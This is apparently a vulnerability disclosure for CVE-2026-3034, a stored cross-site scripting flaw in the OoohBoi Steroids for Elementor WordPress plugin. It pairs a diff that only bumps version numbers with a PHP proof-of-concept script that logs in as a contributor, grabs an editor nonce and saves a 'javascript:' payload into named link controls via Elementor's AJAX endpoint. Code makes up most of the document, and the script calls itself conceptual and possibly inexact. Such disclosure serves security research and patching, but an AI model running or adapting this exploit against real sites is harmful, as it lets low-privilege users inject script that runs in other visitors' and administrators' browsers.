CVE-2026-3034: OoohBoi Steroids for Elementor <= 2.1.24 – Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple URL Controls (ooohboi-steroids-for-elementor)

--- a/ooohboi-steroids-for-elementor/ooohboi-steroids.php
+++ b/ooohboi-steroids-for-elementor/ooohboi-steroids.php
@@ -2,21 +2,21 @@
 /**
  * Plugin Name: OoohBoi Steroids for Elementor
  * Description: An awesome set of tools/options/settings that extend Elementor default/existing widgets and elements. It keeps the editor tidy, saves valuable resources and improves the workflow.
- * Version:     2.1.24
+ * Version:     2.1.25
  * Author:      OoohBoi
  * Author URI:  https://www.youtube.com/c/OoohBoi
  * Text Domain: ooohboi-steroids
  * License:     GPLv3
  * License URI: http://www.gnu.org/licenses/gpl-3.0
- * Elementor tested up to: 3.33
- * Elementor Pro tested up to: 3.33
+ * Elementor tested up to: 3.34
+ * Elementor Pro tested up to: 3.34
  */

 use ElementorCoreSettingsManager as SettingsManager;

 defined( 'ABSPATH' ) || die(); // Exit if accessed directly.

-define( 'OoohBoi_VERSION', '2.1.24' );
+define( 'OoohBoi_VERSION', '2.1.25' );
 define( 'OoohBoi_FILE', __FILE__ );
 define( 'OoohBoi_URL', plugins_url( '/', __FILE__ ) );
 define( 'OoohBoi_PATH', plugin_dir_path( __FILE__ ) );

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3034 - OoohBoi Steroids for Elementor <= 2.1.24 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple URL Controls
<?php
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
$username = 'contributor';
$password = 'password';
$nonce = '';
$post_id = 1;

// Step 1: Authenticate and get nonce for Elementor editor
$login_url = 'http://example.com/wp-login.php';
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In']));
curl_setopt($ch, CURLOPT_POST, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Fetch Elementor editor nonce (simplified - actual nonce fetch may vary)
$ch = curl_init('http://example.com/wp-admin/post.php?post=' . $post_id . '&action=elementor');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches);
if (!empty($matches[1])) $nonce = $matches[1];
curl_close($ch);

// Step 3: Exploit - Save post with malicious link in a vulnerable control via Elementor AJAX
// This is a conceptual payload. The exact AJAX endpoint and data structure depend on Elementor's internal API.
// The vulnerable parameters are '_ob_spacerat_link', '_ob_bbad_link', '_ob_teleporter_link'.
$payload = 'javascript:alert(document.domain)';
$data = [
    'action' => 'elementor_ajax',
    'nonce' => $nonce,
    'actions' => json_encode([
        [
            'action' => 'save_builder',
            'data' => [
                'post_id' => $post_id,
                'elements' => [
                    [
                        'id' => 'some_element_id',
                        'settings' => [
                            '_ob_spacerat_link' => $payload
                        ]
                    ]
                ]
            ]
        ]
    ])
];

$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_POST, true);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>